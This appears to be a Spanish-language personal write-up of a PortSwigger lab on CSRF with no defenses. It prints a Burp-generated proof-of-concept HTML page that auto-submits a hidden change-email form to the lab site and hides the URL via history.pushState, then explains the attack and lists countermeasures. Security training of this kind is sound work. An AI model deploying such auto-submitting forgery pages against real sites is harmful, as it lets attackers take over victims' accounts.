Skip to content

01 - CSRF vulnerability with no defenses

#csrf #portswigger #writeup

html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0af1003204ed36278037993200510081.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test&#64;test&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Este código HTML es un ejemplo de un ataque de Cross-Site Request Forgery (CSRF) generado por Burp Suite para intentar cambiar la dirección de correo electrónico de un usuario en una aplicación web vulnerable.

Explicación del Código:

  1. Formulario HTML:

    html
    <form action="https://0af1003204ed36278037993200510081.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test&#64;test&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    • action: La URL apunta a un endpoint específico que cambia el correo electrónico del usuario.
    • method="POST": Envía los datos usando el método POST, que es el método requerido para hacer cambios en algunos sitios web.
    • input escondido: El campo email tiene un valor codificado en HTML (test&#64;test&#46;com, que equivale a test@test.com). Este valor es el que se enviará en la solicitud, intentando cambiar el correo electrónico del usuario que visite esta página.
  2. Script para Enviar Automáticamente el Formulario:

    javascript
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
    • history.pushState('', '', '/'); oculta la URL de destino del historial del navegador.
    • document.forms[0].submit(); envía el formulario automáticamente cuando se carga la página, sin intervención del usuario.

==Antes de enviarse se oculta del historial para que no se sepa a donde se ha entrado.==

¿Cómo Funciona el Ataque?

Este tipo de ataque CSRF funciona así:

  • Si un usuario autenticado visita esta página maliciosa, el formulario se enviará automáticamente a la URL de destino.
  • El navegador del usuario incluye automáticamente las cookies de autenticación en la solicitud a change-email, ya que es una petición hacia el mismo dominio donde el usuario está autenticado.
  • Si el servidor no tiene protección CSRF (como tokens anti-CSRF), el cambio de correo electrónico se procesará usando las credenciales del usuario, sin que el usuario haya autorizado conscientemente el cambio.

Contramedidas:

Para protegerse contra ataques CSRF, es importante implementar medidas como:

  1. Tokens anti-CSRF: Cada solicitud de cambio de estado (POST, PUT, DELETE) debe incluir un token CSRF que el servidor valida.
  2. Verificación de Referer/Origen: Asegurarse de que la solicitud provenga de la misma aplicación (aunque esto no es completamente seguro por sí solo).
  3. Cookies SameSite: Configurar las cookies de sesión como SameSite=strict o SameSite=lax para evitar que se envíen en solicitudes de sitios cruzados.

Notas personales de seguridad ofensiva.